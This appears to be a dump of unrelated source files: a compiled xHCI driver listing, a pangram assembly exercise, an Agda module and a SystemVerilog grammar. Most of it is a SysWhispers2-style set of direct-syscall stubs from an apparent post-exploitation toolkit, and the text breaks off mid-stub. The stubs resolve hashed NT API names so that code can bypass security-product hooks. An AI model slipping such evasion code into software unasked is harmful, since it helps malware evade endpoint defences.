mov ecx, DWORD PTR version$[rsp]
shr ecx, 4
and ecx, 15
mov edx, DWORD PTR version$[rsp]
shr edx, 8
and edx, 255 ; 000000ffH
mov r9d, eax
mov r8d, ecx
lea rcx, OFFSET FLAT:$SG3414
call ?printf@@YAXPEBDZZ ; printf
; 146 :
; 147 : xusb_dev->xhci_op_address = ((size_t)cap + (cap->caps_len_hciver & 0xFF));
mov rax, QWORD PTR cap$[rsp]
mov eax, DWORD PTR [rax]
and eax, 255 ; 000000ffH
mov eax, eax
mov rcx, QWORD PTR cap$[rsp]
add rcx, rax
mov rax, rcx
mov rcx, QWORD PTR ?xusb_dev@@3PEAU_xhci_@@EA ; xusb_dev
mov QWORD PTR [rcx+8], rax
; 148 : xusb_dev->doorbell_address = ((size_t)cap + (cap->dboffset & ~0x3UL));
mov rax, QWORD PTR cap$[rsp]
mov eax, DWORD PTR [rax+20]
and eax, -4 ; fffffffcH
mov eax, eax
mov rcx, QWORD PTR cap$[rsp]
add rcx, rax
mov rax, rcx
mov rcx, QWORD PTR ?xusb_dev@@3PEAU_xhci_@@EA ; xusb_dev
mov QWORD PTR [rcx+16], rax
; 149 : xusb_dev->runtime_address = ((size_t)cap + (cap->runtime_offset & ~0x1FUL));
mov rax, QWORD PTR cap$[rsp]
mov eax, DWORD PTR [rax+24]
and eax, -32 ; ffffffe0H
mov eax, eax
mov rcx, QWORD PTR cap$[rsp]
add rcx, rax
mov rax, rcx
mov rcx, QWORD PTR ?xusb_dev@@3PEAU_xhci_@@EA ; xusb_dev
mov QWORD PTR [rcx+24], rax
; 150 :
; 151 : /**if (dev->device.nonBridge.interruptLine != 255)
; 152 : interrupt_set (dev->device.nonBridge.interruptLine, xhci_handler, dev->device.nonBridge.interruptLine);**/
; 153 :
; 154 : printf ("USB: xHCI interrupt line -> %d\n", dev->device.nonBridge.interruptLine);
mov rax, QWORD PTR dev$[rsp]
movzx eax, BYTE PTR [rax+60]
mov edx, eax
lea rcx, OFFSET FLAT:$SG3418
call ?printf@@YAXPEBDZZ ; printf
; 155 : printf ("USB: xHCI interrupt pin -> %d\n", dev->device.nonBridge.interruptPin);
mov rax, QWORD PTR dev$[rsp]
movzx eax, BYTE PTR [rax+61]
mov edx, eax
lea rcx, OFFSET FLAT:$SG3419
call ?printf@@YAXPEBDZZ ; printf
; 156 : reset ();
call ?reset@@YAXXZ ; reset
; 157 : x64_sti();
call x64_sti
$LN3@xhci_initi:
; 158 : //for(;;);
; 159 : }
add rsp, 104 ; 00000068H
ret 0
?xhci_initialize@@YAXXZ ENDP ; xhci_initialize
_TEXT ENDS
END
|
src/classes/intro-systems/assembly1/prework/pangram.asm | ggilmore/csi | 1 | 29941 | <filename>src/classes/intro-systems/assembly1/prework/pangram.asm
section .text
global pangram
pangram:
xor rsi, rsi ; seen = 0000...
xor rax, rax ; result = 0
xor rdx, rdx ; i = 0
jmp test
loop:
movzx rcx, byte [rdi + rdx] ; c = *rdi + i
cmp rcx, 97 ; c >= 'a'?
jge is_char
add rcx, 32 ; c += 32
is_char:
cmp rcx, 122; c > 'z'?
jg increment
cmp rcx, 97; c < 'a'?
jl increment
sub rcx, 97 ; what letter of the alphabet is c?
bts rsi, rcx
; xor r8, r8 ; QUESTION - Why doesn't this work, but bts does?
; inc r8 ; ;
; shl r8, cl ; Set 1 in the correct place for the letter (where c is in rcx)
; add rsi, r8
increment:
inc rdx
test:
movzx rcx, byte [rdi + rdx]; c = *rdi + i
cmp rcx, 0x00 ; c != '\0' ?
jne loop
cmp rsi, 0x3ffffff ; have we seen all the characters? (this is 26 in decimal - one for each letter in the alphabet)
jne done
success:
inc rax
done:
ret
|
test/asset/agda-stdlib-1.0/Data/List.agda | omega12345/agda-mode | 0 | 3080 | <reponame>omega12345/agda-mode
------------------------------------------------------------------------
-- The Agda standard library
--
-- Lists
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.List where
------------------------------------------------------------------------
-- Types and basic operations
open import Data.List.Base public
|
src/compiling/ANTLR/grammar/ContinuousAssignmentAndNetAliasStatements.g4 | jecassis/VSCode-SystemVerilog | 75 | 5344 | <filename>src/compiling/ANTLR/grammar/ContinuousAssignmentAndNetAliasStatements.g4
grammar ContinuousAssignmentAndNetAliasStatements;
import ProceduralBlocksAndAssignments;
continuous_assign : 'assign' ( drive_strength )? ( delay3 )? list_of_net_assignments ';'
| 'assign' ( delay_control )? list_of_variable_assignments ';' ;
list_of_net_assignments : net_assignment ( ',' net_assignment )* ;
list_of_variable_assignments : variable_assignment ( ',' variable_assignment )* ;
net_alias : 'alias' net_lvalue '=' net_lvalue ( '=' net_lvalue )* ';' ;
net_assignment : net_lvalue '=' expression ;
|
MODULES_DATA/Execution_UserExecution_VSSyscallProject/source/syscalls2.asm | wc7086/viperpython | 46 | 82227 | .code
EXTERN SW2_GetSyscallNumber: PROC
NtAccessCheck PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0049A0501h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAccessCheck ENDP
NtWorkerFactoryWorkerReady PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 063B2772Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWorkerFactoryWorkerReady ENDP
NtAcceptConnectPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0297320E1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAcceptConnectPort ENDP
NtMapUserPhysicalPagesScatter PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0056D0FF6h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtMapUserPhysicalPagesScatter ENDP
NtWaitForSingleObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BCA254BDh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWaitForSingleObject ENDP
NtCallbackReturn PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01082616Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCallbackReturn ENDP
NtReadFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00FBCC0E8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReadFile ENDP
NtDeviceIoControlFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 038B8A3BEh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtDeviceIoControlFile ENDP
NtWriteFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D4C3DA6Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWriteFile ENDP
NtRemoveIoCompletion PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0DC342255h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRemoveIoCompletion ENDP
NtReleaseSemaphore PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D08C28D1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReleaseSemaphore ENDP
NtReplyWaitReceivePort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0EAB3D97Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReplyWaitReceivePort ENDP
NtReplyPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01AB40B18h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReplyPort ENDP
NtSetInformationThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01ABEDF97h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationThread ENDP
NtSetEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0508D7118h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetEvent ENDP
NtClose PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0248C0D01h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtClose ENDP
NtQueryObject PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00E2464DAh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryObject ENDP
NtQueryInformationFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0393951B9h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationFile ENDP
NtOpenKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0DD18FA86h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenKey ENDP
NtEnumerateValueKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0241D11A0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtEnumerateValueKey ENDP
NtFindAtom PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 068C65B58h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFindAtom ENDP
NtQueryDefaultLocale PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 066255EE7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryDefaultLocale ENDP
NtQueryKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 034F251E8h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryKey ENDP
NtQueryValueKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 03E0ED79Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryValueKey ENDP
NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 015882105h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAllocateVirtualMemory ENDP
NtQueryInformationProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0EF2CCEB0h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationProcess ENDP
NtWaitForMultipleObjects32 PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07CEED939h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWaitForMultipleObjects32 ENDP
NtWriteFileGather PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02B96F6C5h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWriteFileGather ENDP
NtCreateKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01F99FDE2h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateKey ENDP
NtFreeVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 006136EFDh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtFreeVirtualMemory ENDP
NtImpersonateClientOfPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A6B6C9ADh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtImpersonateClientOfPort ENDP
NtReleaseMutant PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 04CEC736Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReleaseMutant ENDP
NtQueryInformationToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 08511D1D6h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationToken ENDP
NtRequestWaitReplyPort PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0D9B6DA29h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRequestWaitReplyPort ENDP
NtQueryVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 001991B1Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryVirtualMemory ENDP
NtOpenThreadToken PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01CA4F2E7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenThreadToken ENDP
NtQueryInformationThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0228C2227h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryInformationThread ENDP
NtOpenProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0E69FF533h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenProcess ENDP
NtSetInformationFile PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0A83C94A6h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationFile ENDP
NtMapViewOfSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0BAB5B626h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtMapViewOfSection ENDP
NtAccessCheckAndAuditAlarm PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0B0B555A4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtAccessCheckAndAuditAlarm ENDP
NtUnmapViewOfSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 074EA567Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtUnmapViewOfSection ENDP
NtReplyWaitReceivePortEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00DCED09Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReplyWaitReceivePortEx ENDP
NtTerminateProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 075BF5620h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtTerminateProcess ENDP
NtSetEventBoostPriority PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02694363Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetEventBoostPriority ENDP
NtReadFileScatter PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05F922D73h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReadFileScatter ENDP
NtOpenThreadTokenEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 060429238h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenThreadTokenEx ENDP
NtOpenProcessTokenEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0009AD3C1h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtOpenProcessTokenEx ENDP
NtQueryPerformanceCounter PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 059985F2Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQueryPerformanceCounter ENDP
NtEnumerateKey PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 05AE34B7Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtEnumerateKey ENDP
NtOpenFile PROC
mov [rsp +8], rcx ; Save registers.
